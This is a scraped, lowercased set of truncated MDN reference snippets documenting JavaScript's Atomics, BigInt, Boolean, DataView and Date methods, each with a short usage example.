edarray to exchange a value. expectedvalue the value to check for equality. replacementvalue the number to exchange. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using compareexchange() const sab =
new sharedarraybuffer(1024); const ta =
new uint8array(sab); ta[0] = 7; atomics.compareexchange(ta, 0, 7, 12); // returns 7, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.compareexchange' in that specification. ...
Atomics.load() - JavaScript
int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to load from. return value the value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using load const sab =
new sharedarraybuffer(1024); const ta =
new uint8array(sab); atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.load' in that specification. ...
Atomics.or() - JavaScript
nds in the typedarray. description the bitwise or operation yields 1, if either a or b are 1. the truth table for the or operation is: a b a | b 0 0 0 0 1 1 1 0 1 1 1 1 for example, a bitwise or of 5 & 1 results in 0101 which is 5 in decimal. 5 0101 1 0001 ---- 5 0101 examples using or const sab =
new sharedarraybuffer(1024); const ta =
new uint8array(sab); ta[0] = 2; atomics.or(ta, 0, 1); // returns 2, the old value atomics.load(ta, 0); // 3 specifications specification ecmascript (ecma-262)the definition of 'atomics.or' in that specification. ...
Atomics.store() - JavaScript
t16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to store a value in. value the number to store. return value the value that has been stored. exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using store() var sab =
new sharedarraybuffer(1024); var ta =
new uint8array(sab); atomics.store(ta, 0, 12); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.store' in that specification. ...
Atomics.sub() - JavaScript
ay, bigint64array, or biguint64array. index the position in the typedarray to subtract a value from. value the number to subtract. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using sub const sab =
new sharedarraybuffer(1024); const ta =
new uint8array(sab); ta[0] = 48; atomics.sub(ta, 0, 12); // returns 48, the old value atomics.load(ta, 0); // 36 specifications specification ecmascript (ecma-262)the definition of 'atomics.sub' in that specification. ...
Atomics.xor() - JavaScript
the typedarray. description the bitwise xor operation yields 1, if a and b are different. the truth table for the xor operation is: a b a ^ b 0 0 0 0 1 1 1 0 1 1 1 0 for example, a bitwise xor of 5 ^ 1 results in 0100 which is 4 in decimal. 5 0101 1 0001 ---- 4 0100 examples using xor const sab =
new sharedarraybuffer(1024); const ta =
new uint8array(sab); ta[0] = 5; atomics.xor(ta, 0, 1); // returns 5, the old value atomics.load(ta, 0); // 4 specifications specification ecmascript (ecma-262)the definition of 'atomics.xor' in that specification. ...
BigInt() constructor - JavaScript
the bigint() constructor returns a value of type bigint. syntax bigint(value); parameters value the numeric value of the object being created. may be a string or an integer. note: bigint() is not used with the
new operator. examples creating a
new bigint bigint(123); // 123n specifications specification ecmascript (ecma-262)the definition of 'bigint constructor' in that specification. ...
BigInt - JavaScript
n; when used with logical operators ||, &&, and !; or within a conditional test like an if statement. if (0n) { console.log('hello from the if!') } else { console.log('hello from the else!') } // ↪ "hello from the else!" 0n || 12n // ↪ 12n 0n && 12n // ↪ 0n boolean(0n) // ↪ false boolean(12n) // ↪ true !12n // ↪ false !0n // ↪ true constructor bigint() creates a
new bigint value. static methods bigint.asintn() wraps a bigint value to a signed integer between -2width-1 and 2width-1 - 1. bigint.asuintn() wraps a bigint value to an unsigned integer between 0 and 2width - 1. instance methods bigint.prototype.tolocalestring() returns a string with a language-sensitive representation of this number. overrides the object.prototype.tolocalestring() met...
Boolean.prototype.toString() - JavaScript
pt calls the tostring() method automatically when a boolean is to be represented as a text value or when a boolean is referred to in a string concatenation. for boolean objects and values, the built-in tostring() method returns the string "true" or "false" depending on the value of the boolean object. examples using tostring() in the following code, flag.tostring() returns "true": var flag =
new boolean(true); var myvar = flag.tostring(); specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.tostring' in that specification. ...
Boolean.prototype.valueOf() - JavaScript
ub.com/mdn/interactive-examples and send us a pull request. syntax bool.valueof() return value the primitive value of the given boolean object description the valueof() method of boolean returns the primitive value of a boolean object or literal boolean as a boolean data type. this method is usually called internally by javascript and not explicitly in code. examples using valueof() x =
new boolean(); myvar = x.valueof(); // assigns false to myvar specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.valueof' in that specification. ...
DataView.prototype.buffer - JavaScript
to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the buffer property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when the dataview is constructed and cannot be changed. examples using the buffer property var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.buffer' in that specification. ...
DataView.prototype.byteOffset - JavaScript
interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the byteoffset property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when an dataview is constructed and cannot be changed. examples using the byteoffset property var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.byteoffset; // 0 (no offset specified) var dataview2 =
new dataview(buffer, 3); dataview2.byteoffset; // 3 (as specified when constructing the dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.byteoffset' in that specification. ...
DataView.prototype.getBigInt64() - JavaScript
e 64-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a bigint. errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getbigint64 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getbigint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbigint64()' in that specification. ...
DataView.prototype.getBigUint64() - JavaScript
64-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a bigint. errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getbiguint64 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getbiguint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbiguint64()' in that specification. ...
DataView.prototype.getFloat32() - JavaScript
tored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 32-bit float number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getfloat32 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getfloat32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat32' in that specification. ...
DataView.prototype.getFloat64() - JavaScript
tored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 64-bit float number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getfloat64 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getfloat64(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat64' in that specification. ...
DataView.prototype.getInt16() - JavaScript
tored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 16-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getint16 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint16' in that specification. ...
DataView.prototype.getInt32() - JavaScript
tored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 32-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getint32 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint32' in that specification. ...
DataView.prototype.getInt8() - JavaScript
ters byteoffset the offset, in byte, from the start of the view where to read the data. return value a signed 8-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getint8 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint8' in that specification. ...
DataView.prototype.getUint16() - JavaScript
d in little- or big-endian format. if false or undefined, a big-endian value is read. return value an unsigned 16-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getuint16 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getuint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint16' in that specification. ...
DataView.prototype.getUint32() - JavaScript
d in little- or big-endian format. if false or undefined, a big-endian value is read. return value an unsigned 32-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getuint32 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getuint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint32' in that specification. ...
DataView.prototype.getUint8() - JavaScript
byteoffset the offset, in byte, from the start of the view where to read the data. return value an unsigned 8-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getuint8 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.getuint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint8' in that specification. ...
DataView.prototype.setBigInt64() - JavaScript
ow, it will be negative (-9223372036854775808n). littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such that it would store beyond the end of the view. examples using the setbigint64 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setbigint64(0, 3n); dataview.getbigint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbigint64()' in that specification. ...
DataView.prototype.setBigUint64() - JavaScript
9551615n). upon overflow, it will be zero (0n). littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such that it would store beyond the end of the view. examples using the setbiguint64 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setbiguint64(0, 3n); dataview.getbiguint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbiguint64()' in that specification. ...
DataView.prototype.setFloat32() - JavaScript
here to store the data. value the value to set. littleendian optional indicates whether the 32-bit float is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setfloat32 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setfloat32(1, 3); dataview.getfloat32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat32' in that specification. ...
DataView.prototype.setFloat64() - JavaScript
here to store the data. value the value to set. littleendian optional indicates whether the 64-bit float is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setfloat64 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setfloat64(0, 3); dataview.getfloat64(0); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat64' in that specification. ...
DataView.prototype.setInt16() - JavaScript
ew where to store the data. value the value to set. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setint16 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setint16(1, 3); dataview.getint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint16' in that specification. ...
DataView.prototype.setInt32() - JavaScript
ew where to store the data. value the value to set. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setint32 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setint32(1, 3); dataview.getint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint32' in that specification. ...
DataView.prototype.setInt8() - JavaScript
-examples and send us a pull request. syntax dataview.setint8(byteoffset, value) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setint8 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setint8(1, 3); dataview.getint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint8' in that specification. ...
DataView.prototype.setUint16() - JavaScript
w where to store the data. value the value to set. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setuint16 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setuint16(1, 3); dataview.getuint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint16' in that specification. ...
DataView.prototype.setUint32() - JavaScript
w where to store the data. value the value to set. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setuint32 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setuint32(1, 3); dataview.getuint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint32' in that specification. ...
DataView.prototype.setUint8() - JavaScript
xamples and send us a pull request. syntax dataview.setuint8(byteoffset, value) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setuint8 method var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.setuint8(1, 3); dataview.getuint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint8' in that specification. ...
Date.prototype[@@toPrimitive] - JavaScript
r", [@@toprimitive]() first tries to call valueof, and if that fails, it calls tostring. javascript calls the [@@toprimitive]() method to convert an object to a primitive value. you rarely need to invoke the [@@toprimitive]() method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected. ...
Date.UTC() - JavaScript
meters to accommodate the value. for example, if 15 is used for month, the year will be incremented by 1 (year + 1) and 3 will be used for the month. utc() is a static method of date, so it's called as date.utc() rather than as a method of a date instance. examples using date.utc() the following statement creates a date object with the arguments treated as utc instead of local: let utcdate =
new date(date.utc(2018, 11, 1, 0, 0, 0)); specifications specification ecmascript (ecma-262)the definition of 'date.utc' in that specification. ...
Date.prototype.getDate() - JavaScript
please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.getdate() return value an integer number, between 1 and 31, representing the day of the month for the given date according to local time. examples using getdate() the second statement below assigns the value 25 to the variable day, based on the value of the date object xmas95. var xmas95 =
new date('december 25, 1995 23:15:30'); var day = xmas95.getdate(); console.log(day); // 25 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getdate' in that specification. ...
Date.prototype.getFullYear() - JavaScript
cal time. description the value returned by getfullyear() is an absolute number. for dates between the years 1000 and 9999, getfullyear() returns a four-digit number, for example, 1995. use this function to make sure a year is compliant with years after 2000. examples using getfullyear() the following example assigns the four-digit value of the current year to the variable year. var today =
new date(); var year = today.getfullyear(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getfullyear' in that specification. ...
Date.prototype.getHours() - JavaScript
project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.gethours() return value an integer number, between 0 and 23, representing the hour for the given date according to local time. examples using gethours() the second statement below assigns the value 23 to the variable hours, based on the value of the date object xmas95. let xmas95 =
new date('december 25, 1995 23:15:30'); let hours = xmas95.gethours(); console.log(hours); // 23 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gethours' in that specification. ...
Date.prototype.getMilliseconds() - JavaScript
roject, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.getmilliseconds() return value a number, between 0 and 999, representing the milliseconds for the given date according to local time. examples using getmilliseconds() the following example assigns the milliseconds portion of the current time to the variable milliseconds: var today =
new date(); var milliseconds = today.getmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmilliseconds' in that specification. ...
Date.prototype.getMinutes() - JavaScript
minutes() method returns the minutes in the specified date according to local time. syntax dateobj.getminutes() return value an integer number, between 0 and 59, representing the minutes in the given date according to local time. examples using getminutes() the second statement below assigns the value 15 to the variable minutes, based on the value of the date object xmas95. var xmas95 =
new date('december 25, 1995 23:15:30'); var minutes = xmas95.getminutes(); console.log(minutes); // 15 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getminutes' in that specification. ...
Date.prototype.getSeconds() - JavaScript
please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.getseconds() return value an integer number, between 0 and 59, representing the seconds in the given date according to local time. examples using getseconds() the second statement below assigns the value 30 to the variable seconds, based on the value of the date object xmas95. var xmas95 =
new date('december 25, 1995 23:15:30'); var seconds = xmas95.getseconds(); console.log(seconds); // 30 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getseconds' in that specification. ...
Date.prototype.getUTCDate() - JavaScript
utcdate() method returns the day (date) of the month in the specified date according to universal time. syntax dateobj.getutcdate() return value an integer number, between 1 and 31, representing the day of the month in the given date according to universal time. examples using getutcdate() the following example assigns the day portion of the current date to the variable day. var today =
new date(); var day = today.getutcdate(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcdate' in that specification. ...
Date.prototype.getUTCDay() - JavaScript
ub.com/mdn/interactive-examples and send us a pull request. syntax dateobj.getutcday() return value an integer number corresponding to the day of the week for the given date, according to universal time: 0 for sunday, 1 for monday, 2 for tuesday, and so on. examples using getutcday() the following example assigns the weekday portion of the current date to the variable weekday. var today =
new date(); var weekday = today.getutcday(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcday' in that specification. ...
Date.prototype.getUTCFullYear() - JavaScript
st. syntax dateobj.getutcfullyear() return value a number representing the year in the given date according to universal time. description the value returned by getutcfullyear() is an absolute number that is compliant with year-2000, for example, 1995. examples using getutcfullyear() the following example assigns the four-digit value of the current year to the variable year. var today =
new date(); var year = today.getutcfullyear(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcfullyear' in that specification. ...
Date.prototype.getUTCHours() - JavaScript
ractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.getutchours() return value an integer number, between 0 and 23, representing the hours in the given date according to universal time. examples using getutchours() the following example assigns the hours portion of the current time to the variable hours. var today =
new date(); var hours = today.getutchours(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutchours' in that specification. ...
Date.prototype.getUTCMilliseconds() - JavaScript
mpanion to the other utc based methods that give hour portion, minute portion, etc.; this method gives milliseconds portion. not to be confused with unix epoch time. to get total milliseconds since 1970/01/01, use the method ".gettime()". examples using getutcmilliseconds() the following example assigns the milliseconds portion of the current time to the variable milliseconds. var today =
new date(); var milliseconds = today.getutcmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcmilliseconds' in that specification. ...
Date.prototype.getUTCMinutes() - JavaScript
the getutcminutes() method returns the minutes in the specified date according to universal time. syntax dateobj.getutcminutes() return value an integer number, between 0 and 59, representing the minutes in the given date according to universal time. examples using getutcminutes() the following example assigns the minutes portion of the current time to the variable minutes. var today =
new date(); var minutes = today.getutcminutes(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcminutes' in that specification. ...
Date.prototype.getUTCMonth() - JavaScript
dn/interactive-examples and send us a pull request. syntax dateobj.getutcmonth() return value an integer number, between 0 and 11, corresponding to the month of the given date according to universal time. 0 for january, 1 for february, 2 for march, and so on. examples using getutcmonth() the following example assigns the month portion of the current date to the variable month. var today =
new date(); var month = today.getutcmonth(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcmonth' in that specification. ...
Date.prototype.getUTCSeconds() - JavaScript
the getutcseconds() method returns the seconds in the specified date according to universal time. syntax dateobj.getutcseconds() return value an integer number, between 0 and 59, representing the seconds in the given date according to universal time. examples using getutcseconds() the following example assigns the seconds portion of the current time to the variable seconds. var today =
new date(); var seconds = today.getutcseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcseconds' in that specification. ...
Date.now() - JavaScript
ry 1, 1970 00:00:00 utc. syntax var timeinms = date.now(); return value a number representing the milliseconds elapsed since the unix epoch. polyfill this method was standardized in ecma-262 5th edition. engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.now) { date.now = function now() { return
new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 date.now() /...
Date.prototype.setDate() - JavaScript
te the date object accordingly. for example, if 0 is provided for dayvalue, the date will be set to the last day of the previous month. if a negative number is provided for dayvalue, the date will be set counting backwards from the last day of the previous month. -1 would result in the date being set to 1 day before the last day of the previous month. ...
Date.prototype.setHours() - JavaScript
m the getminutes(), getseconds(), and getmilliseconds() methods are used. if a parameter you specify is outside of the expected range, sethours() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes will be incremented by 1 (minutesvalue + 1), and 40 will be used for seconds. examples using sethours() var thebigday =
new date(); thebigday.sethours(7); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.sethours' in that specification. ...
Date.prototype.setMilliseconds() - JavaScript
ds. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date. description if you specify a number outside the expected range, the date information in the date object is updated accordingly. for example, if you specify 1005, the number of seconds is incremented by 1, and 5 is used for the milliseconds. examples using setmilliseconds() var thebigday =
new date(); thebigday.setmilliseconds(100); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmilliseconds' in that specification. ...
Date.prototype.setMinutes() - JavaScript
es returned from getseconds() and getmilliseconds() methods are used. if a parameter you specify is outside of the expected range, setminutes() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes will be incremented by 1 (minutesvalue + 1), and 40 will be used for seconds. examples using setminutes() var thebigday =
new date(); thebigday.setminutes(45); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setminutes' in that specification. ...
Date.prototype.setSeconds() - JavaScript
the value returned from the getmilliseconds() method is used. if a parameter you specify is outside of the expected range, setseconds() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes stored in the date object will be incremented by 1, and 40 will be used for seconds. examples using setseconds() var thebigday =
new date(); thebigday.setseconds(30); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setseconds' in that specification. ...
Date.prototype.setTime() - JavaScript
value) parameters timevalue an integer representing the number of milliseconds since 1 january 1970, 00:00:00 utc. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date (effectively, the value of the argument). description use the settime() method to help assign a date and time to another date object. examples using settime() var thebigday =
new date('july 1, 1999'); var sameasbigday =
new date(); sameasbigday.settime(thebigday.gettime()); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.settime' in that specification. ...
Date.prototype.setUTCDate() - JavaScript
:00 utc and the updated date. description if a parameter you specify is outside of the expected range, setutcdate() attempts to update the date information in the date object accordingly. for example, if you use 40 for dayvalue, and the month stored in the date object is june, the day will be changed to 10 and the month will be incremented to july. examples using setutcdate() var thebigday =
new date(); thebigday.setutcdate(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcdate' in that specification. ...
Date.prototype.setUTCFullYear() - JavaScript
e getutcmonth() and getutcdate() methods are used. if a parameter you specify is outside of the expected range, setutcfullyear() attempts to update the other parameters and the date information in the date object accordingly. for example, if you specify 15 for monthvalue, the year is incremented by 1 (yearvalue + 1), and 3 is used for the month. examples using setutcfullyear() var thebigday =
new date(); thebigday.setutcfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcfullyear' in that specification. ...
Date.prototype.setUTCHours() - JavaScript
utes(), getutcseconds(), and getutcmilliseconds() methods are used. if a parameter you specify is outside of the expected range, setutchours() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes will be incremented by 1 (minutesvalue + 1), and 40 will be used for seconds. examples using setutchours() var thebigday =
new date(); thebigday.setutchours(8); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutchours' in that specification. ...
Date.prototype.setUTCMilliseconds() - JavaScript
and the updated date. description if a parameter you specify is outside of the expected range, setutcmilliseconds() attempts to update the date information in the date object accordingly. for example, if you use 1100 for millisecondsvalue, the seconds stored in the date object will be incremented by 1, and 100 will be used for milliseconds. examples using setutcmilliseconds() var thebigday =
new date(); thebigday.setutcmilliseconds(500); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmilliseconds' in that specification. ...
Date.prototype.setUTCMinutes() - JavaScript
from getutcseconds() and getutcmilliseconds() methods are used. if a parameter you specify is outside of the expected range, setutcminutes() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes will be incremented by 1 (minutesvalue + 1), and 40 will be used for seconds. examples using setutcminutes() var thebigday =
new date(); thebigday.setutcminutes(43); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcminutes' in that specification. ...
Date.prototype.setUTCMonth() - JavaScript
do not specify the dayvalue parameter, the value returned from the getutcdate() method is used. if a parameter you specify is outside of the expected range, setutcmonth() attempts to update the date information in the date object accordingly. for example, if you use 15 for monthvalue, the year will be incremented by 1, and 3 will be used for month. examples using setutcmonth() var thebigday =
new date(); thebigday.setutcmonth(11); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmonth' in that specification. ...
Date.prototype.setUTCSeconds() - JavaScript
e returned from the getutcmilliseconds() method is used. if a parameter you specify is outside of the expected range, setutcseconds() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes stored in the date object will be incremented by 1, and 40 will be used for seconds. examples using setutcseconds() var thebigday =
new date(); thebigday.setutcseconds(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcseconds' in that specification. ...
Date.prototype.setYear() - JavaScript
r. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date. description if yearvalue is a number between 0 and 99 (inclusive), then the year for dateobj is set to 1900 + yearvalue. otherwise, the year for dateobj is set to yearvalue. examples using setyear() the first two lines set the year to 1996. the third sets the year to 2000. var thebigday =
new date(); thebigday.setyear(96); thebigday.setyear(1996); thebigday.setyear(2000); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setyear' in that specification. ...
Date.prototype.toDateString() - JavaScript
accomplished with the totimestring() method. the todatestring() method is especially useful because compliant engines implementing ecma-262 may differ in the string obtained from tostring() for date objects, as the format is implementation-dependent and simple string slicing approaches may not produce consistent results across multiple engines. examples a basic usage of todatestring() var d =
new date(1993, 5, 28, 14, 39, 7); console.log(d.tostring()); // logs mon jun 28 1993 14:39:07 gmt-0600 (pdt) console.log(d.todatestring()); // logs mon jun 28 1993 note: month are 0-indexed when used as an argument of date (thus 0 corresponds to january and 11 to december). specifications specification ecmascript (ecma-262)the definition of 'date.prototype.todatestring' i...
Date.prototype.toGMTString() - JavaScript
teobj.togmtstring() return value a string representing the given date following the internet greenwich mean time (gmt) convention. examples simple example in this example, the togmtstring() method converts the date to gmt (utc) using the operating system's time-zone offset and returns a string value that is similar to the following form. the exact format depends on the platform. var today =
new date(); var str = today.togmtstring(); // deprecated! use toutcstring() console.log(str); // mon, 18 dec 1995 17:28:35 gmt specifications specification ecmascript (ecma-262)the definition of 'date.prototype.togmtstring' in that specification. ...
Date.prototype.toJSON() - JavaScript
uest. syntax dateobj.tojson() return value a string representation of the given date. description date instances refer to a specific point in time. calling tojson() returns a string (using toisostring()) representing the date object's value. this method is generally intended to, by default, usefully serialize date objects during json serialization. examples using tojson() var jsondate = (
new date()).tojson(); var backtodate =
new date(jsondate); console.log(jsondate); //2015-10-26t07:46:36.611z specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tojson' in that specification. ...
Date.prototype.toTimeString() - JavaScript
be accomplished with the totimestring() method. the totimestring() method is especially useful because compliant engines implementing ecma-262 may differ in the string obtained from tostring() for date objects, as the format is implementation-dependent; simple string slicing approaches may not produce consistent results across multiple engines. examples a basic usage of totimestring() var d =
new date(1993, 6, 28, 14, 39, 7); console.log(d.tostring()); // wed jul 28 1993 14:39:07 gmt-0600 (pdt) console.log(d.totimestring()); // 14:39:07 gmt-0600 (pdt) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.totimestring' in that specification. ...
Date.prototype.toUTCString() - JavaScript
